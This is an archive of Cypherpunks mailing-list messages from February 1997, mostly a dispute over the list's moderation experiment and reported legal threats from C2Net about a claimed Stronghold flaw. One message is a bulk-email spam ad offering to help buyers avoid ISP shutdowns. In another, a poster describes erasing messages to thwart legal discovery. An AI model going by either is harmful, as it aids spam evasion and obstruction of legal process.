From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Sun, 16 Feb 1997 14:56:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162256.OAA05752@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> I believe homophobia is a great way to bring out the censors in
> people.  However, inducing censorship is only part of fighting it.

You assume that it is an enemy to be fought. While censorship is
clearly undesireable, making it an enemy only strengthens it.

> You also need respectable people to some in, argue cogently against
> the dangers of censorship, perhaps even get some extremely reasonable
> articles suppressed, and then spread the word about it.  I find the
> freedom-knights tactics' extremely lacking in this second, "clean up
> and analyze the mess" phase.

Part, if not all, of that lack is due to our knowledge of the
subjective standard of "respectability" that human beings have.
That's the same differentiation used in many censorship attempts, and
if we made or supported such differentiations this would undermine any
anti-censorship actions we could take.

The meta-points are:

- What is reasonable to you may or may not be reasonable to me. That is
why we refrain from censoring others, since we have no absolute
standard of reasonability.

- You appear to be concerned with convincing others. We are not
concerned with that, since we know that the default for most others is
to be invincibly unconvincable. We are simply here to be living 
models for an arbitrary code of behavior...that behavior being
outlined in the Freedom Knights FAQ. 

- Please remember that you have to judge who is and is not a Freedom
Knight by their -actions- and not their claims. 

> censorship on cypherpunks.  However, I think most peoples' opinions
> didn't really turn, or at least people didn't realize how serious
> things were and didn't really care, until Tim May [someone the many
> freedom-knights hate] started criticizing this censorship in extremely
> reasonable messages that were suppressed from both the -edited and
> -flames mailing list.

Assuming that is true, that people do not care about censorship until
a person with an arbitrary reasonability says something, I would say
that such a group cares not about free speech...even if they think
they do.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Two men were fighting outside Nasrudin's window at dead of night. Nasrudin 
got up, wrapped his only blanket around himself, and ran outside. As he 
tried to reason with the drunks, one snatched his blanket and both ran away.
"What were they arguing about?" asked his wife when he went in. "It must 
have been the blanket. When they got that, the fight broke up."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sun, 16 Feb 1997 14:56:08 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702162256.OAA05746@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> 
>> censorship on cypherpunks.  However, I think most peoples' opinions
>> didn't really turn, or at least people didn't realize how serious
>> things were and didn't really care, until Tim May [someone the many
>> freedom-knights hate] started criticizing this censorship in extremely
>> reasonable messages that were suppressed from both the -edited and
>> -flames mailing list.
> 
> Assuming that is true, that people do not care about censorship until
> a person with an arbitrary reasonability says something, I would say
> that such a group cares not about free speech...even if they think
> they do.

  I agree--and again that is sad.  Hopefully many have learned from 
the experience--that does on occassion really happen.

                           Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl3.crl.com>
Date: Sun, 16 Feb 1997 19:56:25 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Moderation experiment and moderator liability (fwd)
Message-ID: <199702170356.TAA17430@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

Adam has assembled a pretty good history of recent events.  The
following comments only cover some of the issues raised by Adam.
It should not be assumed that I agree with all the statements
upon which I do not comment.  I have limited myself to commenting
on only a few issues with which I am in dispute.

On Sun, 16 Feb 1997, Adam Back wrote:

> Events:

> 9. John made a post to the list announcing that the list would be
> moderated for one month from Jan 11 as an experiment, and included
> Sandy Sandfort's proposed moderatation policy and offer to act as
> moderator.  It appeared that the moderation experiment was Sandy's
> suggestion, and that John had agreed to go along with it.

Moderation was my suggestion, but the moderation policy was not.
My suggestion was quite different.  In a nutshell I wanted to:

	a.  Limit posts to list members only.
	b.  Promote civility on the list by applying sanction to
	    list members who repeatedly flamed or otherwise 
	    breached civil decorum.
	c.  Provide for anonymous or non-member posts by having
	    volunteers act as "gateways" who would forward 
	    anonymous--but civil--posts to the list.

Curiously, in a subsequent telephone conversation, Tim May 
proposed almost that exact suggestion as an alternative form of
moderation that he said would have been acceptable to him.  Go
figure.
 
> 21. Tim received a warning from C2Net's lawyers that if he did not
> desist from mentioning that Dimitri had posted an article criticising
> a C2Net product that he would be sued!

Absolutely false.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Product Link <p-link@usa.net>
Date: Sun, 16 Feb 1997 19:56:28 -0800 (PST)
Subject: We Will Send Your Bulk Email
Message-ID: <199702170356.TAA17436@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




*If you want to be removed from our mailing list, please respond to this
email and put "Remove" in the subject line.


We will send out your bulk E Mail.  Period.  No qualifiers, no conditions,
no nonsense...and we'll do it at the best prices.

We are Product Link.  We are a business partner with a marketing 
company which develops buyers for its clients' products through electronic 
marketing; primarily broadcast fax.  Together, we have over a hundred clients, 
almost 10% of which are Fortune 500 companies.   We have numerous staff, 
and have just begun, at client request, to send high volumes of E Mail.

If you're new to bulk E Mail marketing, as we were a short time ago, I can
confirm that all the E Mails you've been getting from E Mail software
companies about how great E Mail marketing is; well, they're true.  However,
as those of you who have already purchased software and have tried bulk
E mail know, nothing good ever comes easy.

Our staff has spent millions of advertising dollars on our clients' behalf;
everything from commercials on the Superbowl to ads in the New York Times,
to full page spreads in Scientific American.; not to mention the sending
of over 1,000,000 marketing faxes a year for major corporations.

Bulk E mail has been quite an eye opener.

The Internet, the on line services and ISP providers are full of shrill,
self appointed "net cops," whose mission in life seems to be dumping on those
who have the audacity to sell product via E Mail.   I don't wish nor intend
to debate the issue here, except to say that if you've purchased bulk E Mail
software (or intend to), you've already found out that when you attempt to
use it, your ISP provider will shut you down, your E Mail account will be
bombed, and electronic flames will become a way of life.

Since we have a low tolerance for allowing small groups of vocal fanatics
to dictate our business life, we set up our own system to send out Bulk
E Mail.  This system will be greatly expanded in 30 days or so (we're
installing more T lines), but we currently have room on our system to send
out Bulk E Mail for a limited number of companies or individuals other
than ourselves.

We'll send out your order, large or small.  We'll do it quickly, and
we'll do it at a really great price.  You can supply the list, or we'll
supply the list.  Place an order with us, and we'll give you advice on
how to set up your E Mail so your on line service won't shut you down, how
to write your material, and much more.  We will also write your marketing
material, if you so desire. If you supply a list, we can run it through
our computer program to sort out all duplicates and bad AOL or CompuServe
addresses.  If you buy a list from us, we will guarantee that the exact
number of names you order will go out; if we send a list for you and a
number of addresses are not delivered, we will send out more E Mails until
you get delivered exactly what you ordered. We can even tell you how to
confirm that your list was sent.

We also have programs that can filter out E Mail "bombs" and other
irritating toys played with at your expense by people who don't
have a life.

When we first began exploring bulk E mail, we contacted numerous firms
advertising that they would send out bulk E mail.  What we got was
answering machines, disconnected numbers, and no call backs.  The one firm
that did contract us would only send limited numbers of E mails for
us, and then only if we had already sent the list out once and taken off all
the removes (go figure...if we could send out the list once, what did we
need them for?).  We finally got so exasperated, we set up our own system.
And are we glad we did.  Speaking as a marketing man with over 30 years
experience in major advertising, E Mail marketing will change the face of
advertising and cost of sale forever.  I do not believe that has ever been
a vehicle like it in history to allow anyone of any size and any budget to
advertise and sell their products literally overnight.  We employ 18 people,
and I guarantee you that when you E Mail us back, you'll get a call.
Right away.  And the office phone number we give you, will have a live
person at the other end.

Following is a price list to give you an idea of the 
quality of our company.  Please bear in mind that Bulk E Mail is 
effective in large numbers; i.e., 25,000 and above.

Price List To Send Bulk E Mail:

Amount			Cost		Set Up (One Time Fee)

25,000			$150.00		$50.00		

50,000			$275.00		$50.00

75,000			$400.00		$50.00

100,000			$550.00		$50.00		


Bulk E Mail amounts above 100,000 per sending will be bid on a 
case by case basis.  If  you wish to modem us a list, there may be a 
small charge for down load depending on list size.  If you wish us to 
"clean" your list (remove all duplicates and bad addresses), we will  supply a 
bid on a case by case basis as with writing your marketing materials and 
other services.

If we may be of service to you, please call us directly at 
(805) 654-4042.  Thank you.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 16 Feb 1997 20:12:56 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: The EFF
Message-ID: <199702170412.UAA18116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Sat, 15 Feb 1997, Dale Thorn wrote:
> > Toto wrote:
> > > Timothy C. May wrote:
> > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:

> > > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > > the Bay Area, teaching them how to give their money away to 'good'
> > > causes. I believe that one of the prime considerations in separating
> > > the 'good' causes from the 'bad' causes has something to do with the
> > > the proper wine being served with the cheese and cracker offerings
> > > during their cocktail parties.

> > Wine and cheese are the key.  You hit that one on the head.  I tried
> > those Mensa parties in Beverly Hills a few times, but the girls want
> > you to kiss their hands like some kinda princesses or something,
> > whereas I think a simple handshake would suffice.  So I just quit
> > going.  Maybe this has something to do with why there are no c-punks
> > meetings in the L.A. area.

> Dale, so you are in mensa?  Did you have to take a test?

I joined in 1986 at the urging of my sort-of lawyer (not a real
lawyer, but much better actually) from Beverly Hills.  He liked the
parties since he was trolling for babes; recent (1986) divorce and all.

Anyway, Mensa was accepting U.S. Military GT scores prior to 1980,
and I scored 153 in 1966, which was the highest at the several posts
I did duty in (Ft. Benning GA, Ft. Ord CA, Ft. Lee VA, 4th A.D. Europe).

I gave up on it after a few meetings, since I didn't care for the
parties, and there didn't seem to be any really active/interesting
people there.  There was a "rational sig" I wanted to attend, but
never got around to.  Mensa did put on some good speakers every now
and then, but you could do as well by checking in with the Masons
or the other local civic groups.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 16 Feb 1997 20:12:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Threats of Legal Action and C2Net/Stronghold Issue
Message-ID: <199702170412.UAA18115@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks,  alt.privacy, comp.org.eff.talk)


At 6:07 PM -0800 2/16/97, Sandy Sandfort wrote:

>Curiously, in a subsequent telephone conversation, Tim May 
>proposed almost that exact suggestion as an alternative form of
>moderation that he said would have been acceptable to him.  Go
>figure.

The only phone conversation I had was with Doug Barnes, at the request of
Doug that I urgently phone either him or Sameer. I called Doug as soon as I
got the message. (Doug also said he was the only one in the room at the
time, and that the call was *not* being recorded, so I have to surmise that
Sandy got his version of things via a recap by Doug.)

 
>> 21. Tim received a warning from C2Net's lawyers that if he did not
>> desist from mentioning that Dimitri had posted an article criticising
>> a C2Net product that he would be sued!
>
>Absolutely false.
> 

What Doug told me was that Dimitri Vulis had already been served with a
legal notice about his warnings about a security flaw in Stronghold, and
that any repetition of Dimitri's claims by me or anyone else would result
in similar legal action.

Doug said that any repetition of the claims, even as part of a quote, would
be seen as actionable by C2Net. "We'll vigorously defend our rights." (as
best I can recall) He said he thought my messages, to the extent they
merely _alluded_ to the claims were probably OK and that they would
certainly go through to the list, as Sandy has already resigned from his
role as moderator.

(For the record, these messages DID NOT GO THROUGH, and have not gone
through as of tonight, 8-9 days later. However, I have forwarded them to
several people who requested them.)

(I also did not have a recorder running, so I can't claim this is a
verbatim summary of what was said. As to what I said about how the
moderation thing might have been done differently, Doug and I chatted for a
while about various alternatives. I raised the point I've made before, that
having a "members only" policy, with some special provision for some amount
of remailed messages, would probably best suit the notion of keeping the
"community" running. What I told Doug was that my main objection was having
Sandy sit in judgement to essays folks might have spent a long time
composing, and I cited physical parties, where a host invites those he
wants in attendance, but does not micromanage or screen conversations being
held at the party. My sense was that Doug agreed, and agreed that the whole
thing had been handled in a bad way...but Doug should comment to tell his
view of things.)

The next day, at the physical Cyperpunks meeting at Stanford, I briefly
talked to Greg Broiles, working as a legal aide at C2Net. I told Greg he
could "take his best shot," in terms of filing suit against me about my
messages, as I'm prepared to fight C2Net in court on this matter, and have
the financial resources to hire some pretty good lawyers. (I don't recall
if Greg replied, or what his reply was.)

In a message to Cypherpunks, I outlined my understanding of the Vulis
report on security flaws in Stronghold, and put the claims  in the context
of messages not appearing on either of the two main lists,  but none of my
messages were sent to either the Main list or the Flames list. 

(I also had communication with several members of the list, some known to
me and some only pseudonyms. I have taken the precaution of erasing these
messages and copying files to the disk on which they resided to head off
any attempts by C2Net seize my computer and disks as part of some
"discovery" process.)

I find it unfortunate that C2Net is behaving in such a manner, and their
actions are generating far more publicity about the claimed security flaws
in Stronghold than the original Vulis message ever would have generated. 

Sunlight is the best disinfectant, as a Supreme Court justice averred. And
suppression is a breeding ground for all sorts of bacteria, fungi, and ugly
growth, as a less articulate person said.

Reporters interested in this story have already contacted me. They're
interested in the situation surrounding the claims of a flaw. I told one
reporter I had no expertise in Stronghold, SSL, etc., and could not say,
but that I suspected strongly that the claim was made just as a "tweak" of
C2Net. 

"Truth is an absolute defence against libel claims."

(P.S. To repeat, I doubt there is a flaw in Stronghold, either introduced
by RSA (Republic of South Africa, of course) or by the NSA, or by C2Net, or
by anyone else. I said as much in my messages which never made it to the
list.)

--Tim May

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 16 Feb 1997 21:26:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: test 527
Message-ID: <199702170526.VAA21160@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


test 527

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 16 Feb 1997 20:11:15 -0800 (PST)
To: Tim May <tcmay@got.net>
Subject: Re: Threats of Legal Action and C2Net/Stronghold Issue
Message-ID: <199702170411.UAA18052@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The story about Stronghold security flaws reminds me of The Right Reverend
Colin James III (puke). CJ3 also started his kook career when he was 
accused of being stupid and not knowing what he was talking about in
his announcement about performance of BSAM, his "invention". He immediately
reacted to the accusers and promised to sue them, their employers, their
providers, the Inspector General, and more.

He really went after his enemies, trying to get them fired, etc. As a
result of his long struggles, most enlightened minds on USENET realized
that he was an excellent candidate for Kook of the Month award. A nomination
followed.

When he was elected Kook of the Month last January with a
record-breaking vote, he threatened to sue anyone who mentions his new
Kook status. That only added fuel to the fire, as more and more posters
"dared" to expose him as a lying forger and kook.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Biddell <jba@fl.net.au>
Date: Sun, 16 Feb 1997 07:26:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (fwd) DES challenge organisation
Message-ID: <199702161526.HAA18388@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


How the hell do I get OFF this list ??






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sun, 16 Feb 1997 21:26:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: SSZ Test [No Reply]
Message-ID: <199702170526.VAA21146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Test Sunday - No Reply






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 16 Feb 1997 16:26:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation experiment and moderator liability
Message-ID: <199702170026.QAA09134@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



There appears to be a bit of a hush up surrounding the circumstances
of the pause in the moderation experiment and subsequent change of
moderation policy.

To clear the air, I think it would be kind of nice if the full story
were told, so I'll gather here a history as I understand it.
Information from my archives (those I have), and from asking around in
email.

I realise that some of the actions that I am claiming of participants
in this sequence of events seem hard to believe given their high
reputation capital.  I was myself initially dubious on the strength of
the reputation capital of those being critisized.

However the below is the sequence of events as close as I can
determine.

I welcome being proven wrong on any points.


Events:

1. Dimitri Vulis posted a lot of off topic posts over a period of time

2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 

3. Dimitri challenged John Gilmore to shut him up

4. John unsubscribed Dimitri, and modified majordomo@toad.com to
siltently ignore Dimitri's attempts to resubscribe.  Dimitri could
still post, and presumably read cypherpunks with a different email
address or via an archive.  It was a token unsubscription only.

5. When Dimitri figured out what John had done, he made many posts
denigrating John as a censor

6. Much discussion ensued critisizing John for blocking Dimitri

7. Over Christmas some joker subscribed cypherpunks@toad.com to a load
of sports mailing lists, Hugh Daniels and John cleaned up the mess

8. Followed a long thread on hardening lists against spam attacks

9. John made a post to the list announcing that the list would be
moderated for one month from Jan 11 as an experiment, and included
Sandy Sandfort's proposed moderatation policy and offer to act as
moderator.  It appeared that the moderation experiment was Sandy's
suggestion, and that John had agreed to go along with it.

10. Some discussion both pro and con of moderation, and the technical
, free speech, and legal aspects followed

11. Moderation started Jan 19, the main list became the moderated list

12. Lots of people complained about the moderation, some defended it
Tim May quietly unsubscribed

13. Some people complained about inconsistency in moderation -- some
articles which went to flames were not flamish, but made by posters
with low reputation capital, or were following up to posts which were
flamish.

14. After a while some people commented on Tim's absence, and sent him
mail asking what happened.  Tim posted an article explaining that he
had left because of the imposed moderation without discussion.

15. John followed up with a post defending the moderation experiment,
and arguing for it's popularity (he claimed as evidence the number of
posters who had not taken the trouble to move to the unedited list).

16. Dimitri posted an article where he claimed that there was a
security flaw in Stronghold.  Stronghold is C2Nets commercial version
of the freeware Apache SSL web server.  Sandy is employed by C2Net.

17. Sandy dropped the posting entirely -- it went to neither
cypherpunks (edited), nor cypherpunks-flames.  He considered that
forwarding the posting would have made him legally liable.  Sandy is a
lawyer by profession.  He did not explain this situation on the list.

18. Tim May had by now subscribed to cypherpunks-flames, and posted
several follow-ups to Dimitri's posting, discussing the issue of
Dimitri's post being dropped, and stated that Dimitri's posting was
not flamish, and should not have been dropped in his opinion.  Tim's
postings were also silently dropped, going to neither of cypherpunks
(edited), and cypherpunks-flames.

19. Sandy made an announcement that he was ending his participation in
the moderation experiment.  Still no explanation of why posts were
dropped, or even admission that they were.

20. The two moderated cypherpunks lists (cypherpunks and
cypherpunks-flames) went dead for some time.

21. Tim received a warning from C2Net's lawyers that if he did not
desist from mentioning that Dimitri had posted an article criticising
a C2Net product that he would be sued!

22. John posted a statement where he explained Sandy's sudden
announcement of ending his particpation.  John explained that Sandy
had "hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer".  Sandy did not drop Johns posting even though it
covered the same topics that had resulted in Tim's posts being
dropped, and resulted in Tim receiving legal threats from C2Net.  In
the same post John said that he had come to the conclusion that he was
no longer willing to host the cypherpunks list.  In this post John
announced that Sandy had been persuaded to continue to moderate for
the remainder of the moderation period, and gave the new policy.  The
changes were that anything other than crypto discussion and discussion
of forming a new cypherpunks list would go to flames, and anything
that Sandy thought was libelous would be dropped silently.

23. Sandy posted a statement affirming that he would continue to
moderate, and that if any cypherpunks wished to discuss his prior
moderation policy and performance as a moderator that they do it on
new lists which they create themselves.


(If Sandy's current moderation criteria mean that he feels obliged to
forward this post to cypherpunks-flames as off-topic, or even to
silently drop it from both moderated lists, so be it.  I will simply
repost it later, when the moderation experiment is over on one of the
new lists.  In the event of myself receiving legal threats, I shall
simply post it via a remailer, or rely on someone else to do so.  C2
does not appear to be running any remailers at the moment, otherwise I
would use a remailer hosted at c2.net as the exit node in the remailer
chain.)


The positive outcome of all this has been to make the cypherpunks list
more resilient to legal attack.  The new distributed list seems to be
progressing well, and will be less liable to attack.  Filtering
services continue, as they should.  And alt.cypherpunks has been
created as a forum ultimately resistant to legal attack.

Also I should say that I would hope that no one holds any long term
animosity towards any of the players in this episode, many of the
people have been very prolific in their work to further online privacy
and freedom, and I hope that we can all put this chapter behind us.


Now more fun things...

Anyone checked out the DES breaking project?

Over on 

	http://fh28.fa.umist.ac.uk/des/ 

are details of mailing lists where people are organising breaking
RSADSIs DES challenge.  For the RC5/32/12/6 (48 bit RC5) break which
took 13 days, it seems there were a peak of 5000 machines involved.
At this rate it will take 8 months to break DES.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 17 Feb 1997 08:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another test
Message-ID: <199702171656.IAA09294@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Another test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Mon, 17 Feb 1997 08:56:13 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702171656.IAA09287@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles writes:
> At 01:13 PM 2/16/97 -0800, Dave Hayes wrote:
> >I can also offer my participation in the distributed mailing list, if
> >that is what it takes to get cypherpunks free of control interests again.
> I think it would be more accurate to say that this is what it takes to get
> cypherpunks into the hands of different control interests. 

Ok. If the legends about this list are true, then this is the ideal
place to determine the feasability of removing -any- control
interests.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

   The only person who needs a contract is one who cannot be trusted.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 09:11:16 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: The Offending Stronghold posts...
Message-ID: <199702171711.JAA09591@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Here're wee additions to your archive:

I subbed to cp-unedited from the first, so could compare the unedited 
messages with the edited. Some of mine(*) were edited, including a few
on the Stronghold topic. But to me that's not as big a deal as some want
to make of it.

For example, in response to Tim's request to repost DV's Stronghold ploy, 
I did so, and it was edited. Sandy sent me a courteous email stating that he 
was not forwarding the message. I answered that that was okay with me 
because I thought that DV was using the issue as a ploy to undermine 
Sandy. Hey, there were no legal or other threats made to me, darn it!

Another of my edited messages stated that there had been good discussion
on the unedited list about DV's Denial of Service attack on Cypherpunks.

Another noted that DV had been admirably successful in drawing others into
his fight -- in support and in opposition -- as part of his DoS.

Another questioned "Who's Censoring Who?" and offered the opinion that 
"censorship" rhetorically exaggerated Sandy's moderation. (I still believe 
that's the case.)

For what it's worth, I oppose moderation, but favor experimentation, in
the recognition that humans are near-endlessly adaptable and near-
uncontrollable no matter what control mechanisms are employed -- anarchy
is the norm whether advocated or not.

So, I think the moderation experiment was a success, in that it has led to an 
unexpectedly constructive reconfiguration of Cypherpunks -- and not the last, 
that's for sure -- and showed that any archy is wishful dreaming of tortured
hearts and minds and loins.

A one hand applause to Dr. V and archy-demolishers for vibrating the c'punks
house the way SATAN did bigger shoddy piles. Two hands to TCM for more 
memorable quaking of structure-bunkered c'punks and others.

-----

* I'll supply copies of messages cited if you like.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 17 Feb 1997 12:56:38 -0800 (PST)
To: John Young <rah@shipwright.com>
Subject: Re: The Offending Stronghold posts...
Message-ID: <199702172056.MAA13557@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:02 PM -0500 2/17/97, John Young wrote:

>Return-Path: cypherpunks-errors@toad.com
>X-Sender: jya@pop.pipeline.com
>Date: Sun, 09 Feb 1997 13:17:32 -0500
>To: cypherpunks@toad.com
>From: John Young <jya@pipeline.com>
>Subject: Who's Censoring Who?
>Sender: owner-cypherpunks@toad.com
>
>Sandy's e-mailed several of us who've sent messages about Vulis's
>ploy to put Sandy in a conflict-of-interest bind -- a well-known attack
>on moderators of all kinds, not just on the net.

Interestingly, I don't recall getting any e-mail from Sandy telling me he
was not passing on my messages to either the Main or the Flames list...my
messages were simply dropped on the floor. (Others, including John, have
said they sometimes got nice Sandygrams explaining why their items were
deemed unsuitable for either of the lists. Sandy may have considered it
pointless to send me an explanation....)


>It's probably worth saving accusations of censorship for the real thing,
>after trial usage here for what is truly nasty high-stakes global info-war
>gaming.

As John likes literary references, recall William Burroughs' warning about
"the policeman inside."

I can't share John's belief that we should ignore censorship on the CP list
(especially messages going to neither of the two specified lists, without
notice). Waiting "for the real thing" is not a clear-cut issue, as explicit
censorship of political views is not likely to happen in our lifetimes in
the U.S.

However, "self-censorship," a la the V-chip, the mandatory voluntary
labeling of CDs, etc., is becoming the favored route. And the use of  the
legal system, or threats to use the legal system (a la threats made to
Vulis, Against Moderation, etc.) is part of the bullying pulpit (this pun
inspired by John's flights of rhetorical fancy).

>[Note: Thorn, "cuckoo" and TCM responded to this; none were forwarded
>to the cp-edited list, AFIK.]

One of the interesting, and utterly predictable, consequences of "silent
suppression" of some messages is that those on the unedited list, who see
all traffic (for the nonce), get to engage in conversations which are
subsequently suppressed so that several of us are having a conversation the
main list (and the flames list) are oblivious to!

This has had the fascinating effect of having people outside the
conversation (as an example, Blanc Weber) gradually figuring out from
"approved" messages that something is going on behind the scenes...they
they send us messages (as Blanc did) asking what the hell is going on, what
we're obliquely referring to. When the excised material is forwarded to
them (as I did with Blanc), the reaction is often "Wow! I didn't know."

As conversational threads are often so tangled, and become so much more
tangled with time, the job of the censor gets more difficult as time
passes. Not only must he excise all mention of banned topics, he must also
be alert to later discussions making mention of the act of banning, or of
the topics. This is territory well-covered by Orwell, of course. The
rewriting of history is a full-time job.

--Winston Smith


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:44:56 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation experiment and moderator liability
Message-ID: <199702180144.RAA19245@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> Dale Thorn <dthorn@gte.net> writes:
> > Adam Back wrote:
> > > [summary of events]
> > I believe your summary is very accurate except:
> > I would add after the paragraph about Dimitri posting the warning
> > about C2, that C2's lawyers sent an immediate threatening letter
> > to Dimitri.

> Agree, that should be added:
> 15a. Dimitri received a legal notice from C2Net's lawyers about
> Dimitri's allegations

I know this could sound really nitpicky, but proofreading etc. is a
big thing for me, so, I personally would not say "legal notice"
alone, as it doesn't convey the sense of threat that was very real
in the letter to Dimitri.  Perhaps "terse legal notice" or words to
that effect...

> > I would change the paragraph about Tim May receiving a warning from
> > C2's lawyers to say that Tim May received a warning second-hand that
> > anything Tim would say to support or reiterate Dimitri's claims
> > would be actionable by C2 as well.

> Let's see I wrote:
> > 21. Tim received a warning from C2Net's lawyers that if he did not
> > desist from mentioning that Dimitri had posted an article criticising
> > a C2Net product that he would be sued!

> Tim explained the situation in fair detail in his recent post,
> explaining, after Sandy's "Absolutely false." retort to my above
> claim.  Perhaps my wording could be more accurately changed in the
> light of the further explanation from Tim to:
> 21. Tim was told by a C2Net employee that if he did not desist from
> discussing Dimitri's claims about C2Net's StrongHold product, C2Net
> would take legal action against him!

Again, at the risk of nitpicking, I'd say "might take legal action...".

Just an opinion, I think you've done a really good job summarizing
these events.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 17:44:14 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Offending Stronghold posts...
Message-ID: <199702180144.RAA19212@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:

> Interestingly, I don't recall getting any e-mail from Sandy telling me he
> was not passing on my messages to either the Main or the Flames list...my
> messages were simply dropped on the floor.
[snip]
> As conversational threads are often so tangled, and become so much more
> tangled with time, the job of the censor gets more difficult as time
> passes. Not only must he excise all mention of banned topics, he must also
> be alert to later discussions making mention of the act of banning, or of
> the topics. This is territory well-covered by Orwell, of course. The
> rewriting of history is a full-time job.

Exactly.  I hate to intrude, but some of us kids learned that lesson
in something called "Sunday School" way back when.  The lesson was
"If you tell one lie, you'll have to tell another to cover it up,
then another and another until you're buried in the lies and your
